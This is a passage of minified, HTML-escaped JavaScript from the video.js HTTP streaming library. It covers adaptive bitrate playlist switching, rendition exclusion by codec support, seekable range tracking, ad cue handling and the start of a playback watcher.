is live&quot;),!0):(log(&quot;not &quot;+sharedLogLine+&quot; as current playlist is live llhls, but currentTime isn&#039;t in buffered.&quot;),!1);var forwardBuffer=timeAheadOf(buffered,currentTime),maxBufferLowWaterLine=experimentalBufferBasedABR?Config.EXPERIMENTAL_MAX_BUFFER_LOW_WATER_LINE:Config.MAX_BUFFER_LOW_WATER_LINE;if(duration&lt;maxBufferLowWaterLine)return log(sharedLogLine+&quot; as duration &lt; max low water line (&quot;+duration+&quot; &lt; &quot;+maxBufferLowWaterLine+&quot;)&quot;),!0;var nextBandwidth=nextPlaylist.attributes.BANDWIDTH,currBandwidth=currentPlaylist.attributes.BANDWIDTH;if(nextBandwidth&lt;currBandwidth&amp;&amp;(!experimentalBufferBasedABR||forwardBuffer&lt;bufferHighWaterLine)){var logLine=sharedLogLine+&quot; as next bandwidth &lt; current bandwidth (&quot;+nextBandwidth+&quot; &lt; &quot;+currBandwidth+&quot;)&quot;;return experimentalBufferBasedABR&amp;&amp;(logLine+=&quot; and forwardBuffer &lt; bufferHighWaterLine (&quot;+forwardBuffer+&quot; &lt; &quot;+bufferHighWaterLine+&quot;)&quot;),log(logLine),!0}if((!experimentalBufferBasedABR||nextBandwidth&gt;currBandwidth)&amp;&amp;forwardBuffer&gt;=bufferLowWaterLine){var _logLine=sharedLogLine+&quot; as forwardBuffer &gt;= bufferLowWaterLine (&quot;+forwardBuffer+&quot; &gt;= &quot;+bufferLowWaterLine+&quot;)&quot;;return experimentalBufferBasedABR&amp;&amp;(_logLine+=&quot; and next bandwidth &gt; current bandwidth (&quot;+nextBandwidth+&quot; &gt; &quot;+currBandwidth+&quot;)&quot;),log(_logLine),!0}return log(&quot;not &quot;+sharedLogLine+&quot; as no switching criteria met&quot;),!1}({buffered:this.tech_.buffered(),currentTime:currentTime,currentPlaylist:currentPlaylist,nextPlaylist:nextPlaylist,bufferLowWaterLine:bufferLowWaterLine,bufferHighWaterLine:bufferHighWaterLine,duration:this.duration(),experimentalBufferBasedABR:this.experimentalBufferBasedABR,log:this.logger_})},_proto.setupSegmentLoaderListeners_=function(){var _this4=this;this.experimentalBufferBasedABR||(this.mainSegmentLoader_.on(&quot;bandwidthupdate&quot;,(function(){var nextPlaylist=_this4.selectPlaylist();_this4.shouldSwitchToMedia_(nextPlaylist)&amp;&amp;_this4.switchMedia_(nextPlaylist,&quot;bandwidthupdate&quot;),_this4.tech_.trigger(&quot;bandwidthupdate&quot;)})),this.mainSegmentLoader_.on(&quot;progress&quot;,(function(){_this4.trigger(&quot;progress&quot;)}))),this.mainSegmentLoader_.on(&quot;error&quot;,(function(){_this4.blacklistCurrentPlaylist(_this4.mainSegmentLoader_.error())})),this.mainSegmentLoader_.on(&quot;appenderror&quot;,(function(){_this4.error=_this4.mainSegmentLoader_.error_,_this4.trigger(&quot;error&quot;)})),this.mainSegmentLoader_.on(&quot;syncinfoupdate&quot;,(function(){_this4.onSyncInfoUpdate_()})),this.mainSegmentLoader_.on(&quot;timestampoffset&quot;,(function(){_this4.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-timestamp-offset&quot;}),_this4.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-timestamp-offset&quot;})})),this.audioSegmentLoader_.on(&quot;syncinfoupdate&quot;,(function(){_this4.onSyncInfoUpdate_()})),this.audioSegmentLoader_.on(&quot;appenderror&quot;,(function(){_this4.error=_this4.audioSegmentLoader_.error_,_this4.trigger(&quot;error&quot;)})),this.mainSegmentLoader_.on(&quot;ended&quot;,(function(){_this4.logger_(&quot;main segment loader ended&quot;),_this4.onEndOfStream()})),this.mainSegmentLoader_.on(&quot;earlyabort&quot;,(function(event){_this4.experimentalBufferBasedABR||(_this4.delegateLoaders_(&quot;all&quot;,[&quot;abort&quot;]),_this4.blacklistCurrentPlaylist({message:&quot;Aborted early because there isn&#039;t enough bandwidth to complete the request without rebuffering.&quot;},120))}));var updateCodecs=function(){if(!_this4.sourceUpdater_.hasCreatedSourceBuffers())return _this4.tryToCreateSourceBuffers_();var codecs=_this4.getCodecsOrExclude_();codecs&amp;&amp;_this4.sourceUpdater_.addOrChangeSourceBuffers(codecs)};this.mainSegmentLoader_.on(&quot;trackinfo&quot;,updateCodecs),this.audioSegmentLoader_.on(&quot;trackinfo&quot;,updateCodecs),this.mainSegmentLoader_.on(&quot;fmp4&quot;,(function(){_this4.triggeredFmp4Usage||(_this4.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-fmp4&quot;}),_this4.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-fmp4&quot;}),_this4.triggeredFmp4Usage=!0)})),this.audioSegmentLoader_.on(&quot;fmp4&quot;,(function(){_this4.triggeredFmp4Usage||(_this4.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-fmp4&quot;}),_this4.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-fmp4&quot;}),_this4.triggeredFmp4Usage=!0)})),this.audioSegmentLoader_.on(&quot;ended&quot;,(function(){_this4.logger_(&quot;audioSegmentLoader ended&quot;),_this4.onEndOfStream()}))},_proto.mediaSecondsLoaded_=function(){return Math.max(this.audioSegmentLoader_.mediaSecondsLoaded+this.mainSegmentLoader_.mediaSecondsLoaded)},_proto.load=function(){this.mainSegmentLoader_.load(),this.mediaTypes_.AUDIO.activePlaylistLoader&amp;&amp;this.audioSegmentLoader_.load(),this.mediaTypes_.SUBTITLES.activePlaylistLoader&amp;&amp;this.subtitleSegmentLoader_.load()},_proto.smoothQualityChange_=function(media){void 0===media&amp;&amp;(media=this.selectPlaylist()),this.fastQualityChange_(media)},_proto.fastQualityChange_=function(media){var _this5=this;void 0===media&amp;&amp;(media=this.selectPlaylist()),media!==this.masterPlaylistLoader_.media()?(this.switchMedia_(media,&quot;fast-quality&quot;),this.mainSegmentLoader_.resetEverything((function(){videojs.browser.IE_VERSION||videojs.browser.IS_EDGE?_this5.tech_.setCurrentTime(_this5.tech_.currentTime()+.04):_this5.tech_.setCurrentTime(_this5.tech_.currentTime())}))):this.logger_(&quot;skipping fastQualityChange because new media is same as old&quot;)},_proto.play=function(){if(!this.setupFirstPlay()){this.tech_.ended()&amp;&amp;this.tech_.setCurrentTime(0),this.hasPlayed_&amp;&amp;this.load();var seekable=this.tech_.seekable();return this.tech_.duration()===1/0&amp;&amp;this.tech_.currentTime()&lt;seekable.start(0)?this.tech_.setCurrentTime(seekable.end(seekable.length-1)):void 0}},_proto.setupFirstPlay=function(){var _this6=this,media=this.masterPlaylistLoader_.media();if(!media||this.tech_.paused()||this.hasPlayed_)return!1;if(!media.endList){var seekable=this.seekable();if(!seekable.length)return!1;if(videojs.browser.IE_VERSION&amp;&amp;0===this.tech_.readyState())return this.tech_.one(&quot;loadedmetadata&quot;,(function(){_this6.trigger(&quot;firstplay&quot;),_this6.tech_.setCurrentTime(seekable.end(0)),_this6.hasPlayed_=!0})),!1;this.trigger(&quot;firstplay&quot;),this.tech_.setCurrentTime(seekable.end(0))}return this.hasPlayed_=!0,this.load(),!0},_proto.handleSourceOpen_=function(){if(this.tryToCreateSourceBuffers_(),this.tech_.autoplay()){var playPromise=this.tech_.play();void 0!==playPromise&amp;&amp;&quot;function&quot;==typeof playPromise.then&amp;&amp;playPromise.then(null,(function(e){}))}this.trigger(&quot;sourceopen&quot;)},_proto.handleSourceEnded_=function(){if(this.inbandTextTracks_.metadataTrack_){var cues=this.inbandTextTracks_.metadataTrack_.cues;if(cues&amp;&amp;cues.length){var duration=this.duration();cues[cues.length-1].endTime=isNaN(duration)||Math.abs(duration)===1/0?Number.MAX_VALUE:duration}}},_proto.handleDurationChange_=function(){this.tech_.trigger(&quot;durationchange&quot;)},_proto.onEndOfStream=function(){var isEndOfStream=this.mainSegmentLoader_.ended_;if(this.mediaTypes_.AUDIO.activePlaylistLoader){var mainMediaInfo=this.mainSegmentLoader_.getCurrentMediaInfo_();isEndOfStream=!mainMediaInfo||mainMediaInfo.hasVideo?isEndOfStream&amp;&amp;this.audioSegmentLoader_.ended_:this.audioSegmentLoader_.ended_}isEndOfStream&amp;&amp;(this.stopABRTimer_(),this.sourceUpdater_.endOfStream())},_proto.stuckAtPlaylistEnd_=function(playlist){if(!this.seekable().length)return!1;var expired=this.syncController_.getExpiredTime(playlist,this.duration());if(null===expired)return!1;var absolutePlaylistEnd=Vhs$1.Playlist.playlistEnd(playlist,expired),currentTime=this.tech_.currentTime(),buffered=this.tech_.buffered();if(!buffered.length)return absolutePlaylistEnd-currentTime&lt;=.1;var bufferedEnd=buffered.end(buffered.length-1);return bufferedEnd-currentTime&lt;=.1&amp;&amp;absolutePlaylistEnd-bufferedEnd&lt;=.1},_proto.blacklistCurrentPlaylist=function(error,blacklistDuration){void 0===error&amp;&amp;(error={});var currentPlaylist=error.playlist||this.masterPlaylistLoader_.media();if(blacklistDuration=blacklistDuration||error.blacklistDuration||this.blacklistDuration,!currentPlaylist)return this.error=error,void(&quot;open&quot;!==this.mediaSource.readyState?this.trigger(&quot;error&quot;):this.sourceUpdater_.endOfStream(&quot;network&quot;));currentPlaylist.playlistErrors_++;var excludeUntil,playlists=this.masterPlaylistLoader_.master.playlists,enabledPlaylists=playlists.filter(isEnabled),isFinalRendition=1===enabledPlaylists.length&amp;&amp;enabledPlaylists[0]===currentPlaylist;if(1===playlists.length&amp;&amp;blacklistDuration!==1/0)return videojs.log.warn(&quot;Problem encountered with playlist &quot;+currentPlaylist.id+&quot;. Trying again since it is the only playlist.&quot;),this.tech_.trigger(&quot;retryplaylist&quot;),this.masterPlaylistLoader_.load(isFinalRendition);if(isFinalRendition){var reincluded=!1;playlists.forEach((function(playlist){if(playlist!==currentPlaylist){var excludeUntil=playlist.excludeUntil;void 0!==excludeUntil&amp;&amp;excludeUntil!==1/0&amp;&amp;(reincluded=!0,delete playlist.excludeUntil)}})),reincluded&amp;&amp;(videojs.log.warn(&quot;Removing other playlists from the exclusion list because the last rendition is about to be excluded.&quot;),this.tech_.trigger(&quot;retryplaylist&quot;))}excludeUntil=currentPlaylist.playlistErrors_&gt;this.maxPlaylistRetries?1/0:Date.now()+1e3*blacklistDuration,currentPlaylist.excludeUntil=excludeUntil,error.reason&amp;&amp;(currentPlaylist.lastExcludeReason_=error.reason),this.tech_.trigger(&quot;blacklistplaylist&quot;),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;vhs-rendition-blacklisted&quot;}),this.tech_.trigger({type:&quot;usage&quot;,name:&quot;hls-rendition-blacklisted&quot;});var nextPlaylist=this.selectPlaylist();if(!nextPlaylist)return this.error=&quot;Playback cannot continue. No available working or supported playlists.&quot;,void this.trigger(&quot;error&quot;);var logFn=error.internal?this.logger_:videojs.log.warn,errorMessage=error.message?&quot; &quot;+error.message:&quot;&quot;;logFn((error.internal?&quot;Internal problem&quot;:&quot;Problem&quot;)+&quot; encountered with playlist &quot;+currentPlaylist.id+&quot;.&quot;+errorMessage+&quot; Switching to playlist &quot;+nextPlaylist.id+&quot;.&quot;),nextPlaylist.attributes.AUDIO!==currentPlaylist.attributes.AUDIO&amp;&amp;this.delegateLoaders_(&quot;audio&quot;,[&quot;abort&quot;,&quot;pause&quot;]),nextPlaylist.attributes.SUBTITLES!==currentPlaylist.attributes.SUBTITLES&amp;&amp;this.delegateLoaders_(&quot;subtitle&quot;,[&quot;abort&quot;,&quot;pause&quot;]),this.delegateLoaders_(&quot;main&quot;,[&quot;abort&quot;,&quot;pause&quot;]);var delayDuration=nextPlaylist.targetDuration/2*1e3||5e3,shouldDelay=&quot;number&quot;==typeof nextPlaylist.lastRequest&amp;&amp;Date.now()-nextPlaylist.lastRequest&lt;=delayDuration;return this.switchMedia_(nextPlaylist,&quot;exclude&quot;,isFinalRendition||shouldDelay)},_proto.pauseLoading=function(){this.delegateLoaders_(&quot;all&quot;,[&quot;abort&quot;,&quot;pause&quot;]),this.stopABRTimer_()},_proto.delegateLoaders_=function(filter,fnNames){var _this7=this,loaders=[],dontFilterPlaylist=&quot;all&quot;===filter;(dontFilterPlaylist||&quot;main&quot;===filter)&amp;&amp;loaders.push(this.masterPlaylistLoader_);var mediaTypes=[];(dontFilterPlaylist||&quot;audio&quot;===filter)&amp;&amp;mediaTypes.push(&quot;AUDIO&quot;),(dontFilterPlaylist||&quot;subtitle&quot;===filter)&amp;&amp;(mediaTypes.push(&quot;CLOSED-CAPTIONS&quot;),mediaTypes.push(&quot;SUBTITLES&quot;)),mediaTypes.forEach((function(mediaType){var loader=_this7.mediaTypes_[mediaType]&amp;&amp;_this7.mediaTypes_[mediaType].activePlaylistLoader;loader&amp;&amp;loaders.push(loader)})),[&quot;main&quot;,&quot;audio&quot;,&quot;subtitle&quot;].forEach((function(name){var loader=_this7[name+&quot;SegmentLoader_&quot;];!loader||filter!==name&amp;&amp;&quot;all&quot;!==filter||loaders.push(loader)})),loaders.forEach((function(loader){return fnNames.forEach((function(fnName){&quot;function&quot;==typeof loader[fnName]&amp;&amp;loader[fnName]()}))}))},_proto.setCurrentTime=function(currentTime){var buffered=findRange(this.tech_.buffered(),currentTime);return this.masterPlaylistLoader_&amp;&amp;this.masterPlaylistLoader_.media()&amp;&amp;this.masterPlaylistLoader_.media().segments?buffered&amp;&amp;buffered.length?currentTime:(this.mainSegmentLoader_.resetEverything(),this.mainSegmentLoader_.abort(),this.mediaTypes_.AUDIO.activePlaylistLoader&amp;&amp;(this.audioSegmentLoader_.resetEverything(),this.audioSegmentLoader_.abort()),this.mediaTypes_.SUBTITLES.activePlaylistLoader&amp;&amp;(this.subtitleSegmentLoader_.resetEverything(),this.subtitleSegmentLoader_.abort()),void this.load()):0},_proto.duration=function(){if(!this.masterPlaylistLoader_)return 0;var media=this.masterPlaylistLoader_.media();return media?media.endList?this.mediaSource?this.mediaSource.duration:Vhs$1.Playlist.duration(media):1/0:0},_proto.seekable=function(){return this.seekable_},_proto.onSyncInfoUpdate_=function(){var audioSeekable;if(this.masterPlaylistLoader_&amp;&amp;!this.sourceUpdater_.hasCreatedSourceBuffers()){var media=this.masterPlaylistLoader_.media();if(media){var expired=this.syncController_.getExpiredTime(media,this.duration());if(null!==expired){var master=this.masterPlaylistLoader_.master,mainSeekable=Vhs$1.Playlist.seekable(media,expired,Vhs$1.Playlist.liveEdgeDelay(master,media));if(0!==mainSeekable.length){if(this.mediaTypes_.AUDIO.activePlaylistLoader){if(media=this.mediaTypes_.AUDIO.activePlaylistLoader.media(),null===(expired=this.syncController_.getExpiredTime(media,this.duration())))return;if(0===(audioSeekable=Vhs$1.Playlist.seekable(media,expired,Vhs$1.Playlist.liveEdgeDelay(master,media))).length)return}var oldEnd,oldStart;this.seekable_&amp;&amp;this.seekable_.length&amp;&amp;(oldEnd=this.seekable_.end(0),oldStart=this.seekable_.start(0)),audioSeekable?audioSeekable.start(0)&gt;mainSeekable.end(0)||mainSeekable.start(0)&gt;audioSeekable.end(0)?this.seekable_=mainSeekable:this.seekable_=videojs.createTimeRanges([[audioSeekable.start(0)&gt;mainSeekable.start(0)?audioSeekable.start(0):mainSeekable.start(0),audioSeekable.end(0)&lt;mainSeekable.end(0)?audioSeekable.end(0):mainSeekable.end(0)]]):this.seekable_=mainSeekable,this.seekable_&amp;&amp;this.seekable_.length&amp;&amp;this.seekable_.end(0)===oldEnd&amp;&amp;this.seekable_.start(0)===oldStart||(this.logger_(&quot;seekable updated [&quot;+printableRange(this.seekable_)+&quot;]&quot;),this.tech_.trigger(&quot;seekablechanged&quot;))}}}}},_proto.updateDuration=function(isLive){if(this.updateDuration_&amp;&amp;(this.mediaSource.removeEventListener(&quot;sourceopen&quot;,this.updateDuration_),this.updateDuration_=null),&quot;open&quot;!==this.mediaSource.readyState)return this.updateDuration_=this.updateDuration.bind(this,isLive),void this.mediaSource.addEventListener(&quot;sourceopen&quot;,this.updateDuration_);if(isLive){var seekable=this.seekable();if(!seekable.length)return;(isNaN(this.mediaSource.duration)||this.mediaSource.duration&lt;seekable.end(seekable.length-1))&amp;&amp;this.sourceUpdater_.setDuration(seekable.end(seekable.length-1))}else{var buffered=this.tech_.buffered(),duration=Vhs$1.Playlist.duration(this.masterPlaylistLoader_.media());buffered.length&gt;0&amp;&amp;(duration=Math.max(duration,buffered.end(buffered.length-1))),this.mediaSource.duration!==duration&amp;&amp;this.sourceUpdater_.setDuration(duration)}},_proto.dispose=function(){var _this8=this;this.trigger(&quot;dispose&quot;),this.decrypter_.terminate(),this.masterPlaylistLoader_.dispose(),this.mainSegmentLoader_.dispose(),this.loadOnPlay_&amp;&amp;this.tech_.off(&quot;play&quot;,this.loadOnPlay_),[&quot;AUDIO&quot;,&quot;SUBTITLES&quot;].forEach((function(type){var groups=_this8.mediaTypes_[type].groups;for(var id in groups)groups[id].forEach((function(group){group.playlistLoader&amp;&amp;group.playlistLoader.dispose()}))})),this.audioSegmentLoader_.dispose(),this.subtitleSegmentLoader_.dispose(),this.sourceUpdater_.dispose(),this.timelineChangeController_.dispose(),this.stopABRTimer_(),this.updateDuration_&amp;&amp;this.mediaSource.removeEventListener(&quot;sourceopen&quot;,this.updateDuration_),this.mediaSource.removeEventListener(&quot;durationchange&quot;,this.handleDurationChange_),this.mediaSource.removeEventListener(&quot;sourceopen&quot;,this.handleSourceOpen_),this.mediaSource.removeEventListener(&quot;sourceended&quot;,this.handleSourceEnded_),this.off()},_proto.master=function(){return this.masterPlaylistLoader_.master},_proto.media=function(){return this.masterPlaylistLoader_.media()||this.initialMedia_},_proto.areMediaTypesKnown_=function(){var usingAudioLoader=!!this.mediaTypes_.AUDIO.activePlaylistLoader,hasMainMediaInfo=!!this.mainSegmentLoader_.getCurrentMediaInfo_(),hasAudioMediaInfo=!usingAudioLoader||!!this.audioSegmentLoader_.getCurrentMediaInfo_();return!(!hasMainMediaInfo||!hasAudioMediaInfo)},_proto.getCodecsOrExclude_=function(){var _this9=this,media={main:this.mainSegmentLoader_.getCurrentMediaInfo_()||{},audio:this.audioSegmentLoader_.getCurrentMediaInfo_()||{}};media.video=media.main;var playlistCodecs=codecsForPlaylist(this.master(),this.media()),codecs={},usingAudioLoader=!!this.mediaTypes_.AUDIO.activePlaylistLoader;if(media.main.hasVideo&amp;&amp;(codecs.video=playlistCodecs.video||media.main.videoCodec||&quot;avc1.4d400d&quot;),media.main.isMuxed&amp;&amp;(codecs.video+=&quot;,&quot;+(playlistCodecs.audio||media.main.audioCodec||&quot;mp4a.40.2&quot;)),(media.main.hasAudio&amp;&amp;!media.main.isMuxed||media.audio.hasAudio||usingAudioLoader)&amp;&amp;(codecs.audio=playlistCodecs.audio||media.main.audioCodec||media.audio.audioCodec||&quot;mp4a.40.2&quot;,media.audio.isFmp4=media.main.hasAudio&amp;&amp;!media.main.isMuxed?media.main.isFmp4:media.audio.isFmp4),codecs.audio||codecs.video){var unsupportedAudio,unsupportedCodecs={};if([&quot;video&quot;,&quot;audio&quot;].forEach((function(type){if(codecs.hasOwnProperty(type)&amp;&amp;(isFmp4=media[type].isFmp4,codec=codecs[type],!(isFmp4?browserSupportsCodec(codec):muxerSupportsCodec(codec)))){var supporter=media[type].isFmp4?&quot;browser&quot;:&quot;muxer&quot;;unsupportedCodecs[supporter]=unsupportedCodecs[supporter]||[],unsupportedCodecs[supporter].push(codecs[type]),&quot;audio&quot;===type&amp;&amp;(unsupportedAudio=supporter)}var isFmp4,codec})),usingAudioLoader&amp;&amp;unsupportedAudio&amp;&amp;this.media().attributes.AUDIO){var audioGroup=this.media().attributes.AUDIO;this.master().playlists.forEach((function(variant){(variant.attributes&amp;&amp;variant.attributes.AUDIO)===audioGroup&amp;&amp;variant!==_this9.media()&amp;&amp;(variant.excludeUntil=1/0)})),this.logger_(&quot;excluding audio group &quot;+audioGroup+&quot; as &quot;+unsupportedAudio+&#039; does not support codec(s): &quot;&#039;+codecs.audio+&#039;&quot;&#039;)}if(!Object.keys(unsupportedCodecs).length){if(this.sourceUpdater_.hasCreatedSourceBuffers()&amp;&amp;!this.sourceUpdater_.canChangeType()){var switchMessages=[];if([&quot;video&quot;,&quot;audio&quot;].forEach((function(type){var newCodec=(parseCodecs(_this9.sourceUpdater_.codecs[type]||&quot;&quot;)[0]||{}).type,oldCodec=(parseCodecs(codecs[type]||&quot;&quot;)[0]||{}).type;newCodec&amp;&amp;oldCodec&amp;&amp;newCodec.toLowerCase()!==oldCodec.toLowerCase()&amp;&amp;switchMessages.push(&#039;&quot;&#039;+_this9.sourceUpdater_.codecs[type]+&#039;&quot; -&gt; &quot;&#039;+codecs[type]+&#039;&quot;&#039;)})),switchMessages.length)return void this.blacklistCurrentPlaylist({playlist:this.media(),message:&quot;Codec switching not supported: &quot;+switchMessages.join(&quot;, &quot;)+&quot;.&quot;,blacklistDuration:1/0,internal:!0})}return codecs}var message=Object.keys(unsupportedCodecs).reduce((function(acc,supporter){return acc&amp;&amp;(acc+=&quot;, &quot;),acc+=supporter+&#039; does not support codec(s): &quot;&#039;+unsupportedCodecs[supporter].join(&quot;,&quot;)+&#039;&quot;&#039;}),&quot;&quot;)+&quot;.&quot;;this.blacklistCurrentPlaylist({playlist:this.media(),internal:!0,message:message,blacklistDuration:1/0})}else this.blacklistCurrentPlaylist({playlist:this.media(),message:&quot;Could not determine codecs for playlist.&quot;,blacklistDuration:1/0})},_proto.tryToCreateSourceBuffers_=function(){if(&quot;open&quot;===this.mediaSource.readyState&amp;&amp;!this.sourceUpdater_.hasCreatedSourceBuffers()&amp;&amp;this.areMediaTypesKnown_()){var codecs=this.getCodecsOrExclude_();if(codecs){this.sourceUpdater_.createSourceBuffers(codecs);var codecString=[codecs.video,codecs.audio].filter(Boolean).join(&quot;,&quot;);this.excludeIncompatibleVariants_(codecString)}}},_proto.excludeUnsupportedVariants_=function(){var _this10=this,playlists=this.master().playlists,ids=[];Object.keys(playlists).forEach((function(key){var variant=playlists[key];if(-1===ids.indexOf(variant.id)){ids.push(variant.id);var codecs=codecsForPlaylist(_this10.master,variant),unsupported=[];!codecs.audio||muxerSupportsCodec(codecs.audio)||browserSupportsCodec(codecs.audio)||unsupported.push(&quot;audio codec &quot;+codecs.audio),!codecs.video||muxerSupportsCodec(codecs.video)||browserSupportsCodec(codecs.video)||unsupported.push(&quot;video codec &quot;+codecs.video),codecs.text&amp;&amp;&quot;stpp.ttml.im1t&quot;===codecs.text&amp;&amp;unsupported.push(&quot;text codec &quot;+codecs.text),unsupported.length&amp;&amp;(variant.excludeUntil=1/0,_this10.logger_(&quot;excluding &quot;+variant.id+&quot; for unsupported: &quot;+unsupported.join(&quot;, &quot;)))}}))},_proto.excludeIncompatibleVariants_=function(codecString){var _this11=this,ids=[],playlists=this.master().playlists,codecs=unwrapCodecList(parseCodecs(codecString)),codecCount_=codecCount(codecs),videoDetails=codecs.video&amp;&amp;parseCodecs(codecs.video)[0]||null,audioDetails=codecs.audio&amp;&amp;parseCodecs(codecs.audio)[0]||null;Object.keys(playlists).forEach((function(key){var variant=playlists[key];if(-1===ids.indexOf(variant.id)&amp;&amp;variant.excludeUntil!==1/0){ids.push(variant.id);var blacklistReasons=[],variantCodecs=codecsForPlaylist(_this11.masterPlaylistLoader_.master,variant),variantCodecCount=codecCount(variantCodecs);if(variantCodecs.audio||variantCodecs.video){if(variantCodecCount!==codecCount_&amp;&amp;blacklistReasons.push(&#039;codec count &quot;&#039;+variantCodecCount+&#039;&quot; !== &quot;&#039;+codecCount_+&#039;&quot;&#039;),!_this11.sourceUpdater_.canChangeType()){var variantVideoDetails=variantCodecs.video&amp;&amp;parseCodecs(variantCodecs.video)[0]||null,variantAudioDetails=variantCodecs.audio&amp;&amp;parseCodecs(variantCodecs.audio)[0]||null;variantVideoDetails&amp;&amp;videoDetails&amp;&amp;variantVideoDetails.type.toLowerCase()!==videoDetails.type.toLowerCase()&amp;&amp;blacklistReasons.push(&#039;video codec &quot;&#039;+variantVideoDetails.type+&#039;&quot; !== &quot;&#039;+videoDetails.type+&#039;&quot;&#039;),variantAudioDetails&amp;&amp;audioDetails&amp;&amp;variantAudioDetails.type.toLowerCase()!==audioDetails.type.toLowerCase()&amp;&amp;blacklistReasons.push(&#039;audio codec &quot;&#039;+variantAudioDetails.type+&#039;&quot; !== &quot;&#039;+audioDetails.type+&#039;&quot;&#039;)}blacklistReasons.length&amp;&amp;(variant.excludeUntil=1/0,_this11.logger_(&quot;blacklisting &quot;+variant.id+&quot;: &quot;+blacklistReasons.join(&quot; &amp;&amp; &quot;)))}}}))},_proto.updateAdCues_=function(media){var offset=0,seekable=this.seekable();seekable.length&amp;&amp;(offset=seekable.start(0)),function(media,track,offset){if(void 0===offset&amp;&amp;(offset=0),media.segments)for(var cue,mediaTime=offset,i=0;i&lt;media.segments.length;i++){var segment=media.segments[i];if(cue||(cue=findAdCue(track,mediaTime+segment.duration/2)),cue){if(&quot;cueIn&quot;in segment){cue.endTime=mediaTime,cue.adEndTime=mediaTime,mediaTime+=segment.duration,cue=null;continue}if(mediaTime&lt;cue.endTime){mediaTime+=segment.duration;continue}cue.endTime+=segment.duration}else if(&quot;cueOut&quot;in segment&amp;&amp;((cue=new window.VTTCue(mediaTime,mediaTime+segment.duration,segment.cueOut)).adStartTime=mediaTime,cue.adEndTime=mediaTime+parseFloat(segment.cueOut),track.addCue(cue)),&quot;cueOutCont&quot;in segment){var _segment$cueOutCont$s=segment.cueOutCont.split(&quot;/&quot;).map(parseFloat),adOffset=_segment$cueOutCont$s[0],adTotal=_segment$cueOutCont$s[1];(cue=new window.VTTCue(mediaTime,mediaTime+segment.duration,&quot;&quot;)).adStartTime=mediaTime-adOffset,cue.adEndTime=cue.adStartTime+adTotal,track.addCue(cue)}mediaTime+=segment.duration}}(media,this.cueTagsTrack_,offset)},_proto.goalBufferLength=function(){var currentTime=this.tech_.currentTime(),initial=Config.GOAL_BUFFER_LENGTH,rate=Config.GOAL_BUFFER_LENGTH_RATE,max=Math.max(initial,Config.MAX_GOAL_BUFFER_LENGTH);return Math.min(initial+currentTime*rate,max)},_proto.bufferLowWaterLine=function(){var currentTime=this.tech_.currentTime(),initial=Config.BUFFER_LOW_WATER_LINE,rate=Config.BUFFER_LOW_WATER_LINE_RATE,max=Math.max(initial,Config.MAX_BUFFER_LOW_WATER_LINE),newMax=Math.max(initial,Config.EXPERIMENTAL_MAX_BUFFER_LOW_WATER_LINE);return Math.min(initial+currentTime*rate,this.experimentalBufferBasedABR?newMax:max)},_proto.bufferHighWaterLine=function(){return Config.BUFFER_HIGH_WATER_LINE},MasterPlaylistController}(videojs.EventTarget),Representation=function(vhsHandler,playlist,id){var loader,playlistID,changePlaylistFn,mpc=vhsHandler.masterPlaylistController_,qualityChangeFunction=mpc[(vhsHandler.options_.smoothQualityChange?&quot;smooth&quot;:&quot;fast&quot;)+&quot;QualityChange_&quot;].bind(mpc);if(playlist.attributes){var resolution=playlist.attributes.RESOLUTION;this.width=resolution&amp;&amp;resolution.width,this.height=resolution&amp;&amp;resolution.height,this.bandwidth=playlist.attributes.BANDWIDTH}this.codecs=codecsForPlaylist(mpc.master(),playlist),this.playlist=playlist,this.id=id,this.enabled=(loader=vhsHandler.playlists,playlistID=playlist.id,changePlaylistFn=qualityChangeFunction,function(enable){var playlist=loader.master.playlists[playlistID],incompatible=isIncompatible(playlist),currentlyEnabled=isEnabled(playlist);return void 0===enable?currentlyEnabled:(enable?delete playlist.disabled:playlist.disabled=!0,enable===currentlyEnabled||incompatible||(changePlaylistFn(),enable?loader.trigger(&quot;renditionenabled&quot;):loader.trigger(&quot;renditiondisabled&quot;)),enable)})},timerCancelEvents=[&quot;seeking&quot;,&quot;seeked&quot;,&quot;pause&quot;,&quot;playing&quot;,&quot;error&quot;],PlaybackWatcher=function(){function PlaybackWatcher(options){var _this=this;this.masterPlaylistController_=options.masterPlaylistController,this.tech_=options.tech,this.seekable=options.seekable,this.allowSeeksWithinUnsafeLiveWindow=options.allowSeeksWithinUnsafeLiveWindow,this.liveRangeSafeTimeDelta=options.liveRangeSafeTimeDelta,this.media=options.media,this.consecutiveUpdates=0,this.lastRecordedTime=null,this.timer_=null,this.checkCurrentTimeTimeout_=null,this.logger_=logger(&quot;PlaybackWatcher&quot;),this.logger_(&quot;initialize&quot;);var playHandler=function(){return _this.monitorCurrentTime_()},canPlayHandler=function(){return _this.monitorCurrentTime_()},waitingHandler=function(){return _this.techWaiting_()},cancelTimerHandler=function(){return _this.cancelTimer_()},mpc=this.masterPlaylistController_,loaderTypes=[&quot;main&quot;,&quot;subtitle&quot;,&quot;audio&quot;],loaderChecks={};loaderTypes.forEach((function(type){loaderChecks[type]={reset:function(){return _this.resetSegmentDownloads_(type)},updateend:function(){return _this.checkSegmentDownloads_(type)}},mpc[type+&quot;SegmentLoader_&quot;].on(&quot;appendsdone&quot;,loaderChecks[type].updateend),mpc[type+&quot;SegmentLoader_&quot;].on(&quot;playlistupdate&quot;,loaderChecks[type].reset),_this.tech_.on([&quot;seeked&quot;,&quot;seeking&quot;],loaderChecks[type].reset)}));var setSeekingHandlers=function(fn){[&quot;main&quot;,&quot;audio&quot;].forEach((function(type){mpc[type+&quot;SegmentLoader_&quot;][fn](&quot;appended&quot;,_this.seekingAppendCheck_)}))};this.seekingAppendCheck_=function(){_this.fixesBadSeeks_()&amp;&amp;(_this.consecutiveUpdates=0,_this.lastRecordedTime=_this.tech_.currentTime(),setSeekingHandlers(&quot;off&quot;))},this.clearSeekingAppendCheck_=function(){return 